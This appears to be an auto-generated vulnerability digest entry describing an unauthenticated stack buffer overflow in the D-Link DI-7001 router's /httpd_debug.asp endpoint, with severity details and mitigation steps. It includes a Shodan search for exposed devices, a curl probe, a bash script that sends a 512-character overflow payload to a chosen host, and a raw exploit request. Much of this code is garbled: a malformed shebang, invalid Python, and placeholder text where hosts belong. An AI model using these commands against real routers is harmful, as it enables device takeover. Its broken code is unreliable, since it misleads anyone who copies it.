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The vulnerability stems from an insecure use of the `sprintf()` function in the `/httpd_debug.asp` API endpoint. This CGI script is responsible for handling debug requests. The HTTP query parameter `Time` is read and then passed directly into a `sprintf()` function without proper bounds checking. Because the destination buffer is allocated statically on the stack, if an attacker supplies an overly long string for the `Time` argument, the `sprintf()` call will continue writing past the end of the buffer, overwriting critical return addresses and stack data. As the endpoint does not require any form of authentication, an unauthenticated attacker can send a single crafted HTTP GET request to the device. By carefully constructing the malicious payload, an attacker can overwrite the saved return address and redirect the CPU to execute arbitrary code, effectively allowing a full remote takeover of the router.
DailyCVE Form:
Platform: D-Link DI-7001
Version: 19.09.19A1
Vulnerability : Stack Buffer Overflow
Severity: 8.8 (HIGH)
date: 01/06/2026
Prediction: 2026-12-31 (End-of-Life)
What Undercode Say:
Shodan Dork for vulnerable devices
"D-Link DI-7001" && http."D-Link"
Grep for vulnerable firmware via curl
curl -s http://[bash]/httpd_debug.asp?Time=%41%41...%41 | grep "Firmware Version: 19.09.19A1"
Bash script to test for sploit
!/bin/bash
PAYLOAD=$(python3 -c "print('A'512)")
curl -s "http://$1/httpd_debug.asp?Time=$PAYLOAD"
Exploit:
GET /httpd_debug.asp?Time=AAA...AAA[bash] HTTP/1.1 Host: [Target IP]
Protection:
1. Isolate VLAN: Place on isolated IoT/legacy VLAN.
2. ACL Block: Block public access to `/httpd_debug.asp`.
3. Retire Device: Replace with actively supported model.
Impact:
Remote Code Execution (RCE) – Unauthenticated attacker gains root shell.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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